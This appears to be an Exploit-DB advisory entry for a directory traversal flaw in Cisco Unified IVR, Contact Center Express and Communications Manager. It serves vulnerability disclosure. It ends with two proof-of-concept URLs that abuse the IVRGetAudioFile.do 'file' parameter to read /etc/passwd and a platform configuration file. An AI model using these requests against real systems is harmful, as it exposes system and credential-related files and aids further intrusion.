Multiple Cisco Products Directory Traversal Vulnerability

vendor:

Cisco Unified IP Interactive Voice Response, Cisco Unified Contact Center Express, Cisco Unified Communications Manager

by:

Unknown

N/A

CVSS

N/A

Directory Traversal

Unknown

CWE

Product Name: Cisco Unified IP Interactive Voice Response, Cisco Unified Contact Center Express, Cisco Unified Communications Manager

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: No

Related CWE:

CPE: Unknown

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Multiple Cisco Products Directory Traversal Vulnerability

Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks.

Mitigation:

Unknown

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/50372/info

Multiple Cisco products are prone to a directory-traversal vulnerability.

Exploiting this issue will allow an attacker to read arbitrary files from locations outside of the application's current directory. This could help the attacker launch further attacks.

This issue is tracked by Cisco BugID CSCts44049 and CSCth09343.

The following products are affected:

Cisco Unified IP Interactive Voice Response
Cisco Unified Contact Center Express
Cisco Unified Communications Manager 

http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd

http://www.example.com/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../usr/local/platform/conf/platformConfig.xml